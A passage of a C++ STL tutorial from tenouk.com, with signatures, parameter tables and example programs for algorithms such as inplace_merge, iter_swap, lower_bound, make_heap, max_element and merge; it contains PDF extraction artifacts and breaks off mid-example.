for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"List lst data: ";


for(lst_Iter = lst.begin(); lst_Iter!= lst.end(); lst_Iter++)
cout<<*lst_Iter<<" ";
cout<<endl;

cout<<"Vector vec2 data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//Searching vec1 for first match to lst under identity


vector <int>::iterator result1;
result1 = find_first_of(vec1.begin(), vec1.end(), lst.begin(), lst.end());

if(result1 == vec1.end())
cout<<"\nThere is no match of lst in vec1."<<endl;
else
cout<<"\nThere is at least one match of lst in vec1"
<<"\nand the first one begins at "
<<"position "<<result1 - vec1.begin()<<endl;

//Searching vec1 for a match to lst under the binary predicate twice
vector <int>::iterator result2;
result2 = find_first_of(vec1.begin(), vec1.end(), vec2.begin(), vec2.end(), twice);

if(result2 == vec1.end())
cout<<"\nThere is no match of lst in vec1."<<endl;
else
cout<<"\nThere is a sequence of elements in vec1 that "
<<"are\nequivalent to those in vec2 under the binary\n"
<<"predicate twice and the first one begins at position "
<<result2 - vec1.begin()<<endl;
return 0;

www.tenouk.com Page 34 of 35
}

[bodo@bakawali ~]$ g++ algofindfirstof.cpp -o algofindfirstof


[bodo@bakawali ~]$ ./algofindfirstof

Vector vec1 data: 0 5 10 15 20 25


List lst data: 15 20
Vector vec2 data: 20 30 40

There is at least one match of lst in vec1


and the first one begins at position 3

There is a sequence of elements in vec1 that are


equivalent to those in vec2 under the binary
predicate twice and the first one begins at position 2

-----------------------------------------End of Algorithm Part II------------------------------------


---www.tenouk.com---

Further reading and digging:

1. Check the best selling C / C++ and STL books at Amazon.com.

www.tenouk.com Page 35 of 35
MODULE 35
--THE STL--
ALGORITHM PART III

My Training Period: hours

Note: Compiled using Microsoft Visual C++ .Net, win32 empty console mode application. g++ compilation
example is given at the end of this Module.

Abilities

▪ Able to understand and use the member functions of the algorithm.


▪ Appreciate how the usage of the template classes and functions.
▪ Able to use containers, iterators and algorithm all together.

35.1 Continuation from the previous Module…

inplace_merge()

- Combines the elements from two consecutive sorted ranges into a single sorted range, where the
ordering criterion may be specified by a binary predicate.

template<class BidirectionalIterator>
void inplace_merge(
BidirectionalIterator _First,
BidirectionalIterator _Middle,
BidirectionalIterator _Last
);
template<class BidirectionalIterator, class Pr>
void inplace_merge(
BidirectionalIterator _First,
BidirectionalIterator _Middle,
BidirectionalIterator _Last,
BinaryPredicate _Comp
);

Parameters

Parameter Description
A bidirectional iterator addressing the position of the first element in the first of
_First
two consecutive sorted ranges to be combined and sorted into a single range.
A bidirectional iterator addressing the position of the first element in the second
_Middle
of two consecutive sorted ranges to be combined and sorted into a single range.
A bidirectional iterator addressing the position one past the last element in the
_Last second of two consecutive sorted ranges to be combined and sorted into a single
range.
User-defined predicate function object that defines the sense in which one
element is greater than another. The binary predicate takes two arguments and
_Comp
should return true when the first element is less than the second element and false
otherwise.

Table 35.1

- The sorted consecutive ranges referenced must be valid; all pointers must be de-referenceable and,
within each sequence, the last position must be reachable from the first by incrementation.
- The sorted consecutive ranges must each be arranged as a precondition to the application of the
inplace_merge() algorithm in accordance with the same ordering as is to be used by the algorithm
to sort the combined ranges.
- The operation is stable as the relative order of elements within each range is preserved. When there are
equivalent elements in both source ranges, the element is the first range precedes the element from the
second in the combined range.
- The complexity depends on the available memory as the algorithm allocates memory to a temporary
buffer. If sufficient memory is available, the best case is linear with (_Last – _First)–1
comparisons; if no auxiliary memory is available, the worst case is N log(N), where N =
(_Last–_First).

www.tenouk.com Page 1 of 40
//algorithm, inplace_merge()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
}

int main()
{
vector <int> vec1;
vector <int>::iterator Iter1, Iter2, Iter3;

//Constructing vector vec1 with default less-than ordering


int i;
for(i = 0; i <= 5; i++)
vec1.push_back(i);

int j;
for(j =-5; j <= 0; j++)
vec1.push_back(j);

cout<<"vector vec1 data with subranges sorted by the "<<"binary\npredicate less


than is: ";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Constructing vector vec2 with ranges sorted by greater


vector <int> vec2(vec1);
vector <int>::iterator break2;
break2 = find(vec2.begin(), vec2.end(), -5);

sort(vec2.begin(), break2, greater<int>());


sort(break2, vec2.end(), greater<int>());

cout<<"\nvector vec2 data with subranges sorted by the "<<"binary\npredicate


greater is: ";
for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//Constructing vector vec3 with ranges sorted by mod_lesser


vector <int> vec3(vec1);
vector <int>::iterator break3;
break3 = find(vec3.begin(), vec3.end(), -5);

sort(vec3.begin(), break3, mod_lesser);


sort(break3, vec3.end(), mod_lesser);

cout<<"\nvector vec3 data with subranges sorted by the "<<"binary\npredicate


mod_lesser is: ";
for(Iter3 = vec3.begin(); Iter3 != vec3.end(); Iter3++)
cout<<*Iter3<<" ";
cout<<endl;

vector <int>::iterator break1;


break1 = find(vec1.begin(), vec1.end(), -5);
inplace_merge(vec1.begin(), break1, vec1.end());
cout<<"\nvector vec1merg data, merged inplace with\ndefault order: ";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//To merge inplace in descending order, specify binary


//predicate greater<int>()
inplace_merge(vec2.begin(), break2, vec2.end(), greater<int>());
cout<<"\nvector vec2merg data, merged inplace with binary\npredicate greater
specified: ";
for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)

www.tenouk.com Page 2 of 40
cout<<*Iter2<<" ";
cout<<endl;

//Applying a user defined binary predicate mod_lesser


inplace_merge(vec3.begin(), break3, vec3.end(), mod_lesser);
cout<<"\nvector vec3merg data, merged inplace with binary\npredicate mod_lesser
specified: ";
for(Iter3 = vec3.begin(); Iter3 != vec3.end(); Iter3++)
cout<<*Iter3<<" ";
cout<<endl;
return 0;
}

Output:

iter_swap()

- Exchanges two values referred to by a pair of specified iterators.

template<class ForwardIterator1, class ForwardIterator2>


void iter_swap(
ForwardIterator1 _Left,
ForwardIterator2 _Right
);

Parameters

Parameter Description
_Left One of the forward iterators whose value is to be exchanged.
_Right The second of the forward iterators whose value is to be exchanged.

Table 35.2

- swap() should be used in preference to iter_swap(), which was included in the C++ Standard for
backward compatibility. If Fit1 and Fit2 are forward iterators, then iter_swap(Fit1, Fit2),
is equivalent to swap(*Fit1, *Fit2).
- The value types of the input forward iterators must have the same value.

//algorithm, iter_swap()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;

class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);

class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}

www.tenouk.com Page 3 of 40
CInt(const CInt& rhs) : m_nVal(rhs.m_nVal){}
CInt& operator=(const CInt& rhs)
{ m_nVal = rhs.m_nVal; return *this;}
bool operator<(const CInt& rhs) const
{ return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);

private:
int m_nVal;
};

inline ostream& operator<<(ostream& osIn, const CInt& rhs)


{
osIn<<"CInt(" <<rhs.m_nVal<< ")";
return osIn;
}

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
};

int main()
{
CInt c1 = 9, c2 = 12, c3 = 17;
deque<CInt> deq;
deque<CInt>::iterator deqIter;

deq.push_back(c1);
deq.push_back(c2);
deq.push_back(c3);

cout<<"The deque of CInts data is:\n";


for(deqIter = deq.begin(); deqIter != --deq.end(); deqIter++)
cout<<" "<<*deqIter<<",";
deqIter = --deq.end();
cout<<" "<<*deqIter<<endl;

//Exchanging first and last elements with iter_swap


iter_swap(deq.begin(), --deq.end());
cout<<"\nThe deque of CInts data with first and last\nelements swapped is: ";
for(deqIter = deq.begin(); deqIter != --deq.end(); deqIter++)
cout<<" "<<*deqIter<<",";
deqIter = --deq.end();
cout<<" "<<*deqIter<<endl;

//Swapping back first and last elements with swap


swap(*deq.begin(), *(deq.end() -1));

cout<<"\nThe deque of CInts data with first and last\nelements re swapped is: ";
for(deqIter = deq.begin(); deqIter != --deq.end(); deqIter++)
cout<<" "<<*deqIter<<",";
deqIter = --deq.end();
cout<<" "<<*deqIter<<endl;

//Swapping a vector element with a deque element


vector <int> vec;
vector <int>::iterator Iter1;
deque <int> deq1;
deque <int>::iterator deq1Iter;

int i;
for(i = 10; i <= 14; i++)
vec.push_back(i);

int j;
for(j = 16; j <= 20; j++)
deq1.push_back(j);

cout<<"\nVector vec data: ";


for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\nDeque deq1 data: ";

www.tenouk.com Page 4 of 40
for(deq1Iter = deq1.begin(); deq1Iter != deq1.end(); deq1Iter++)
cout<<*deq1Iter<<" ";
cout<<endl;

iter_swap(vec.begin(), deq1.begin());
cout<<"\nAfter exchanging first elements,\nvector vec data is: ";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl<<"and deque deq1 data is: ";
for(deq1Iter = deq1.begin(); deq1Iter != deq1.end(); deq1Iter++)
cout<<*deq1Iter<<" ";
cout<<endl;
return 0;
}

Output:

lexicographical_compare()

- Compares element by element between two sequences to determine which is lesser of the two.

template<class InputIterator1, class InputIterator2>


bool lexicographical_compare(
InputIterator1 _First1,
InputIterator1 _Last1,
InputIterator2 _First2,
InputIterator2 _Last2
);
template<class InputIterator1, class InputIterator2, class BinaryPredicate>
bool lexicographical_compare(
InputIterator1 _First1,
InputIterator1 _Last1,
InputIterator2 _First2,
InputIterator2 _Last2,
BinaryPredicate _Comp
);

Parameters

Parameter Description
An input iterator addressing the position of the first element in the first range to be
_First1
compared.
An input iterator addressing the position one past the final element in the first range to
_Last1
be compared.
An input iterator addressing the position of the first element in the second range to be
_First2
compared.
An input iterator addressing the position one past the final element in the second range
_Last2
to be compared.
User-defined predicate function object that defines sense in which one element is less
_Comp than another. A binary predicate takes two arguments and returns true when satisfied
and false when not satisfied.

www.tenouk.com Page 5 of 40
Table 35.3

- The return value is true if the first range is lexicographically less than the second range; otherwise
false.
- A lexicographical comparison between sequences compares them element by element until:

▪ It finds two corresponding elements unequal, and the result of their comparison is taken as the
result of the comparison between sequences.
▪ No inequalities are found, but one sequence has more elements than the other, and the shorter
sequence is considered less than the longer sequence.
▪ No inequalities are found and the sequences have the same number of elements, and so the
sequences are equal and the result of the comparison is false.
//algorithm, lexicographical_compare()
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;

//Return whether second element is twice the first


bool twice(int elem1, int elem2)
{return (2*elem1) < elem2;}

int main()
{
vector <int> vec1, vec2;
list <int> lst;
vector <int>::iterator Iter1, Iter2;
list <int>::iterator lst_Iter, lst_inIter;

int i;
for(i = 0; i <= 5; i++)
vec1.push_back(5*i);

int j;
for(j = 0; j <= 6; j++)
lst.push_back(5*j);

int k;
for(k = 0; k <= 5; k++)
vec2.push_back(10*k);

cout<<"Vector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"List lst data: ";


for(lst_Iter = lst.begin(); lst_Iter != lst.end(); lst_Iter++)
cout<<*lst_Iter<<" ";
cout<<endl;

cout<<"Vector vec2 data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//Self lexicographical_comparison of vec1 under identity


cout<<"\nOperation: lexicographical_compare(vec1.begin(),\nvec1.end(),
vec2.begin(), vec2.end()).\n";
bool result1;
result1 = lexicographical_compare(vec1.begin(), vec1.end(), vec2.begin(),
vec2.end());
if(result1)
cout<<"Vector vec1 is lexicographically_less than vec2."<<endl;
else
cout<<"Vector vec1 is not lexicographically_less than vec2."<<endl;

//lexicographical_comparison of vec1 and lst under identity


cout<<"\nOperation: lexicographical_compare(vec1.begin(),\nvec1.end(),
lst.begin(), lst.end()).\n";
bool result2;
result2 = lexicographical_compare(vec1.begin(), vec1.end(), lst.begin(),
lst.end());
if(result2)

www.tenouk.com Page 6 of 40
cout<<"Vector vec1 is lexicographically_less than lst."<<endl;
else
cout<<"Vector vec1 is lexicographically_less than lst."<<endl;

cout<<"\nOperation: lexicographical_compare(vec1.begin(),\nvec1.end(),
vec2.begin(), vec2.end(), twice).\n";
bool result3;
result3 = lexicographical_compare(vec1.begin(), vec1.end(), vec2.begin(),
vec2.end(), twice);
if(result3)
cout<<"Vector vec1 is lexicographically_less than\nvec2 based on twice."<<endl;
else
cout<<"Vector vec1 is not lexicographically_less than\nvec2 based on
twice."<<endl;
return 0;
}

Output:

lower_bound()

- Finds the position where the first element in an ordered range is or would be if it had a value that is less
than or equivalent to a specified value, where the sense of equivalence may be specified by a binary
predicate.

template<class ForwardIterator, class Type>


ForwardIterator lower_bound(
ForwardIterator _First,
ForwardIterator _Last,
const Type& _Val
);
template<class ForwardIterator, class Type, class BinaryPredicate>
ForwardIterator lower_bound(
ForwardIterator _First,
ForwardIterator _Last,
const Type& _Val,
BinaryPredicate _Comp
);

Parameters

Parameter Description
A forward iterator addressing the position of the first element in the range to be
_First
searched.
A forward iterator addressing the position one past the final element in the range to
_Last
be searched.
The value whose first position or possible first position is being searched for in the
_Val
ordered range.
User-defined predicate function object that defines sense in which one element is
_Comp less than another. A binary predicate takes two arguments and returns true when
satisfied and false when not satisfied.

www.tenouk.com Page 7 of 40
Table 35.4

- The return value is a forward iterator addressing the position where the first element in an ordered
range is or would be if it had a value that is less than or equivalent to a specified value, where the sense
of equivalence may be specified by a binary predicate.
- The sorted source range referenced must be valid; all pointers must be de-referenceable and within the
sequence the last position must be reachable from the first by incrementation.
- The sorted range must each be arranged as a precondition to the application of the lower_bound()
algorithm in accordance with the same ordering as is to be used by the algorithm to sort the combined
ranges.
- The range is not modified by the algorithm merge().
- The value types of the forward iterators need be less-than comparable to be ordered, so that, given two
elements, it may be determined either that they are equivalent (in the sense that neither is less than the
other) or that one is less than the other. This results in an ordering between the nonequivalent elements
- The complexity of the algorithm is logarithmic for random-access iterators and linear otherwise, with
the number of steps proportional to (_Last1 – _First1).
//algorithm, lower_bound()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
}

int main()
{
vector <int> vec1;
vector <int>::iterator Iter1, Result1;

//Constructing vectors vec1a & vec1b with default less than ordering
int i;
for(i = -3; i <= 6; i++)
vec1.push_back(i);

int j;
for(j =-5; j <= 2; j++)
vec1.push_back(j);

cout<<"Operation: sort(vec1.begin(), vec1.end()).\n";


sort(vec1.begin(), vec1.end());
cout<<"vector vec1 data with range sorted by the "
<<"binary predicate\nless than is: ";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Constructing vectors vec2 with range sorted by greater


vector <int> vec2(vec1);
vector <int>::iterator Iter2, Result2;

cout<<"\nOperation: sort(vec2.begin(), vec2.end(), greater<int>()).\n";


sort(vec2.begin(), vec2.end(), greater<int>());
cout<<"vector vec2 data with range sorted by the "
<<"binary predicate\ngreater is: ";
for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//Constructing vectors vec3 with range sorted by mod_lesser


vector <int> vec3(vec1);
vector <int>::iterator Iter3, Result3;

cout<<"\nOperation: sort(vec3.begin(), vec3.end(), mod_lesser).\n";


sort(vec3.begin(), vec3.end(), mod_lesser);
cout<<"vector vec3 data with range sorted by the "

www.tenouk.com Page 8 of 40
<<"binary predicate\nmod_lesser is: ";
for(Iter3 = vec3.begin(); Iter3 != vec3.end(); Iter3++)
cout<<*Iter3<<" ";
cout<<endl;

//lower_bound of 5 in vec1 with default binary predicate less <int>()


cout<<"\nOperation: lower_bound(vec1.begin(), vec1.end(), 5).\n";
Result1 = lower_bound(vec1.begin(), vec1.end(), 5);
cout<<"The lower_bound in vec2 for the\nelement with a value of 5 is:
"<<*Result1<<endl;

//lower_bound of 5 in vec2 with the binary predicate greater<int>()


Result2 = lower_bound(vec2.begin(), vec2.end(), 5, greater<int>());
cout<<"The lower_bound in vec2 for the\nelement with a value of 5 is:
"<<*Result2<<endl;

//lower_bound of 5 in vec3 with the binary predicate mod_lesser


cout<<"\nOperation: lower_bound(vec3.begin(), vec3.end(), 5, mod_lesser).\n";
Result3 = lower_bound(vec3.begin(), vec3.end(), 5, mod_lesser);
cout<<"The lower_bound in vec3 for the\nelement with a value of 5 is:
"<<*Result3<<endl;
return 0;
}

Output

make_heap()

- Converts elements from a specified range into a heap in which the first element is the largest and for
which a sorting criterion may be specified with a binary predicate.

template<class RandomAccessIterator>
void make_heap(
RandomAccessIterator _First,
RandomAccessIterator _Last
);
template<class RandomAccessIterator, class BinaryPredicate>
void make_heap(
RandomAccessIterator _First,
RandomAccessIterator _Last,
BinaryPredicate _Comp
);

Parameters

Parameter Description
A random-access iterator addressing the position of the first element in the range to be
_First
converted into a heap.

www.tenouk.com Page 9 of 40
A random-access iterator addressing the position one past the final element in the range to
_Last
be converted into a heap.
User-defined predicate function object that defines sense in which one element is less than
_Comp another. A binary predicate takes two arguments and returns true when satisfied and false
when not satisfied.

Table 35.5

- Heaps have two properties:

▪ The first element is always the largest.


▪ Elements may be added or removed in logarithmic time.

- Heaps are an ideal way to implement priority queues and they are used in the implementation of the
Standard Template Library container adaptor priority_queue Class.
- The complexity is linear, requiring 3*(_Last – _First) comparisons.
//algorithm, make_heap()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;

int i;
for(i = 0; i <= 10; i++)
vec1.push_back(i);

cout<<"Operation: random_shuffle(vec1.begin(), vec1.end()).\n";


random_shuffle(vec1.begin(), vec1.end());
cout<<"Vector vec1 is data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Make vec1 a heap with default less than ordering


cout<<"\nOperation: make_heap(vec1.begin(), vec1.end()).\n";
make_heap(vec1.begin(), vec1.end());
cout<<"The heaped version of vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Make vec1 a heap with greater than ordering


cout<<"\nOperation: make_heap(vec1.begin(), vec1.end(), greater<int>()).\n";
make_heap(vec1.begin(), vec1.end(), greater<int>());
cout<<"The greater-than heaped version of vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
return 0;
}

Output

www.tenouk.com Page 10 of 40
max()

- Compares two objects and returns the larger of the two, where the ordering criterion may be specified
by a binary predicate.

template<class Type>
const Type& max(
const Type& _Left,
const Type& _Right
);
template<class Type, class Pr>
const Type& max(
const Type& _Left,
const Type& _Right,
BinaryPredicate _Comp
);

Parameters

Parameter Description
_Left The first of the two objects being compared.
_Right The second of the two objects being compared.
_Comp A binary predicate used to compare the two objects.

Table 35.6

- The return value is the greater of the two objects unless neither is greater, in which case it returns the
first of the two objects.
- The max() algorithm is unusual in having objects passed as parameters. Most STL algorithms operate
on a range of elements whose position is specified by iterator passes as parameters.
//algorithm, max()
#include <vector>
#include <set>
#include <algorithm>
#include <iostream>
using namespace std;

class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);

class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal(rhs.m_nVal){}
CInt& operator=(const CInt& rhs)
{m_nVal = rhs.m_nVal; return *this;}
bool operator<( const CInt& rhs ) const
{return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);

private:
int m_nVal;
};

inline ostream& operator<<(ostream& osIn, const CInt& rhs)


{
osIn<<"CInt("<<rhs.m_nVal<<")";
return osIn;
}

//Return whether modulus of elem1 is greater than modulus of elem2


bool mod_greater(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 > elem2);
};

int main()
{

www.tenouk.com Page 11 of 40
//Comparing integers directly using the max algorithm
int a = 11, b = -12, c = 20;
const int& result1 = max(a, b, mod_greater);
const int& result2 = max(b, c);

cout<<"The mod_greater of the integers 11 and -12 is: "<<result1<<endl;


cout<<"The larger of the integers -12 and 20 is: "<<result2<<endl;
cout<<endl;

//Comparing set containers with elements of type CInt


//using the max algorithm
CInt c1 = 1, c2 = 2, c3 = 3;
set<CInt> st1, st2, st3;
set<CInt>::iterator st1_Iter, st2_Iter, st3_Iter;

st1.insert(c1);
st1.insert(c2);
st2.insert(c2);
st2.insert(c3);

cout<<"st1 data: (";


for(st1_Iter = st1.begin(); st1_Iter != --st1.end(); st1_Iter++)
cout<<*st1_Iter<<",";
st1_Iter = --st1.end();
cout<<*st1_Iter<<")."<<endl;

cout<<"st2 data: (";


for(st2_Iter = st2.begin(); st2_Iter != --st2.end(); st2_Iter++)
cout<<*st2_Iter<<",";
st2_Iter = --st2.end();
cout<<*st2_Iter<<")."<<endl;

st3 = max(st1, st2);


cout<<"st3 = max(st1, st2) = (";
for(st3_Iter = st3.begin(); st3_Iter != --st3.end(); st3_Iter++)
cout<<*st3_Iter<<",";
st3_Iter = --st3.end();
cout<<*st3_Iter<<")."<<endl;

//Comparing vectors with integer elements using the max algorithm


vector <int> vec1, vec2, vec3, vec4, vec5;
vector <int>::iterator Iter1, Iter2, Iter3, Iter4, Iter5;

int i;
for(i = 0; i <= 3; i++)
vec1.push_back(i);

int j;
for(j = 0; j <= 4; j++)
vec2.push_back(j);

int k;
for(k = 0; k <= 2; k++)
vec3.push_back(2*k);

cout<<"\nVector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"Vector vec2 data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

cout<<"Vector vec3 data: ";


for(Iter3 = vec3.begin(); Iter3 != vec3.end(); Iter3++)
cout<<*Iter3<<" ";
cout<<endl;

vec4 = max(vec1, vec2);


vec5 = max(vec1, vec3);

cout<<"Vector vec4 = max(vec1,vec2) is: ";


for(Iter4 = vec4.begin(); Iter4 != vec4.end(); Iter4++)
cout<<*Iter4<<" ";
cout<<endl;

cout<<"Vector vec5 = max(vec1,vec3) is: ";


for(Iter5 = vec5.begin(); Iter5 != vec5.end(); Iter5++)

www.tenouk.com Page 12 of 40
cout<<*Iter5<<" ";
cout<<endl;
return 0;
}

Output

max_element()

- Finds the first occurrence of largest element in a specified range where the ordering criterion may be
specified by a binary predicate.

template<class ForwardIterator>
ForwardIterator max_element(
ForwardIterator _First,
ForwardIterator _Last
);
template<class ForwardIterator, class BinaryPredicate>
ForwardIterator max_element(
ForwardIterator _First,
ForwardIterator _Last,
BinaryPredicate _Comp
);

Parameters

Parameter Description
A forward iterator addressing the position of the first element in the range to be
_First
searched for the largest element.
A forward iterator addressing the position one past the final element in the range to
_Last
be searched for the largest element.
User-defined predicate function object that defines the sense in which one element is
_Comp greater than another. The binary predicate takes two arguments and should return true
when the first element is less than the second element and false otherwise.

Table 35.7

- The return value is a forward iterator addressing the position of the first occurrence of the largest
element in the range searched.
- The range referenced must be valid; all pointers must be dereferenceable and within each sequence the
last position is reachable from the first by incrementation.
- The complexity is linear: (_Last – _First)–1 comparison is required for a nonempty range.

//algorithm, max_element()
#include <vector>
#include <set>
#include <algorithm>
#include <iostream>
using namespace std;

class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);

class CInt
{

www.tenouk.com Page 13 of 40
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal(rhs.m_nVal){}
CInt& operator=(const CInt& rhs)
{m_nVal = rhs.m_nVal; return *this;}
bool operator<(const CInt& rhs) const
{return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);

private:
int m_nVal;
};

inline ostream& operator<<(ostream& osIn, const CInt& rhs)


{
osIn<<"CInt("<<rhs.m_nVal<<")";
return osIn;
}

//Return whether modulus of elem1 is greater than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
};

int main()
{
//Searching a set container with elements of type CInt
//for the maximum element
CInt c1 = 1, c2 = 2, c3 = -3;
set<CInt> st1;
set<CInt>::iterator st1_Iter, st2_Iter, st3_Iter;

st1.insert(c1);
st1.insert(c2);
st1.insert(c3);

cout<<"st1 data: ";


for(st1_Iter = st1.begin(); st1_Iter != --st1.end(); st1_Iter++)
cout<<" "<<*st1_Iter<<",";
st1_Iter = --st1.end();
cout<<" "<<*st1_Iter<<endl;

st2_Iter = max_element(st1.begin(), st1.end());

cout<<"The largest element in st1 is: "<<*st2_Iter<<endl;


cout<<endl;

//Searching a vector with elements of type int for the maximum


//element under default less than & mod_lesser binary predicates
vector <int> vec;
vector <int>::iterator vec_Iter, vec1_Iter, vec2_Iter;

int i;
for(i = 0; i <= 3; i++)
vec.push_back(i);

int j;
for(j = 1; j <= 4; j++)
vec.push_back(-j);

cout<<"Vector vec data: ";


for(vec_Iter = vec.begin(); vec_Iter != vec.end(); vec_Iter++)
cout<<*vec_Iter<<" ";
cout<<endl;

vec1_Iter = max_element(vec.begin(), vec.end());


vec2_Iter = max_element(vec.begin(), vec.end(), mod_lesser);

cout<<"The largest element in vec is: "<<*vec1_Iter<<endl;


cout<<"The largest element in vec under the\nmod_lesser"
<<" binary predicate is: "<<*vec2_Iter<<endl;
return 0;
}

www.tenouk.com Page 14 of 40
Output

merge()

- Combines all of the elements from two sorted source ranges into a single, sorted destination range,
where the ordering criterion may be specified by a binary predicate.

template<class InputIterator1, class InputIterator2, class OutputIterator>


OutputIterator merge(
InputIterator1 _First1,
InputIterator1 _Last1,
InputIterator2 _First2,
InputIterator2 _Last2,
OutputIterator _Result
);
template<class InputIterator1, class InputIterator2, class OutputIterator, class
BinaryPredicate>
OutputIterator merge(
InputIterator1 _First1,
InputIterator1 _Last1,
InputIterator2 _First2,
InputIterator2 _Last2,
OutputIterator _Result
BinaryPredicate _Comp
);

Parameters

Parameter Description
An input iterator addressing the position of the first element in the first of two sorted
_First1
source ranges to be combined and sorted into a single range.
An input iterator addressing the position one past the last element in the first of two sorted
_Last1
source ranges to be combined and sorted into a single range.
An input iterator addressing the position of the first element in second of two consecutive
_First2
sorted source ranges to be combined and sorted into a single range.
An input iterator addressing the position one past the last element in second of two
_Last2
consecutive sorted source ranges to be combined and sorted into a single range.
An output iterator addressing the position of the first element in the destination range
_Result
where the two source ranges are to be combined into a single sorted range.
User-defined predicate function object that defines the sense in which one element is
_Comp greater than another. The binary predicate takes two arguments and should return true
when the first element is less than the second element and false otherwise.

Table 35.8

- The return value is an output iterator addressing the position one past the last element in the sorted
destination range.
- The sorted source ranges referenced must be valid; all pointers must be de-referenceable and within
each sequence the last position must be reachable from the first by incrementation.
- The destination range should not overlap either of the source ranges and should be large enough to
contain the destination range.
- The sorted source ranges must each be arranged as a precondition to the application of the merge()
algorithm in accordance with the same ordering as is to be used by the algorithm to sort the combined
ranges.
- The operation is stable as the relative order of elements within each range is preserved in the
destination range. The source ranges are not modified by the algorithm merge().

www.tenouk.com Page 15 of 40
- The value types of the input iterators need be less than comparable to be ordered, so that, given two
elements, it may be determined either that they are equivalent, in the sense that neither is less than the
other or that one is less than the other. This results in an ordering between the nonequivalent elements.
- When there are equivalent elements in both source ranges, the elements in the first range precede the
elements from the second source range in the destination range.
- The complexity of the algorithm is linear with at most (_Last1 – _First1)–(_Last2 –
_First2)–1 comparisons.
- The list class provides a member function merge() to merge the elements of two lists.
//algorithm, merge()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
}

int main()
{
vector <int> vec1a, vec1b, vec1(12);
vector <int>::iterator Iter1a, Iter1b, Iter1;

//Constructing vector vec1a and vec1b with default less than ordering
int i;
for(i = 0; i <= 5; i++)
vec1a.push_back(i);

int j;
for(j =-5; j <= 0; j++)
vec1b.push_back(j);

cout<<"vector vec1a data with range sorted by the\n"


<<"binary predicate less than is: ";
for(Iter1a = vec1a.begin(); Iter1a != vec1a.end(); Iter1a++)
cout<<*Iter1a<<" ";
cout<<endl;

cout<<"vector vec1b data with range sorted by the\n"


<<"binary predicate less than is: ";
for(Iter1b = vec1b.begin(); Iter1b != vec1b.end(); Iter1b++)
cout<<*Iter1b<<" ";
cout<<endl;

//Constructing vector vec2 with ranges sorted by greater


vector <int> vec2a(vec1a), vec2b(vec1b), vec2(vec1);
vector <int>::iterator Iter2a, Iter2b, Iter2;
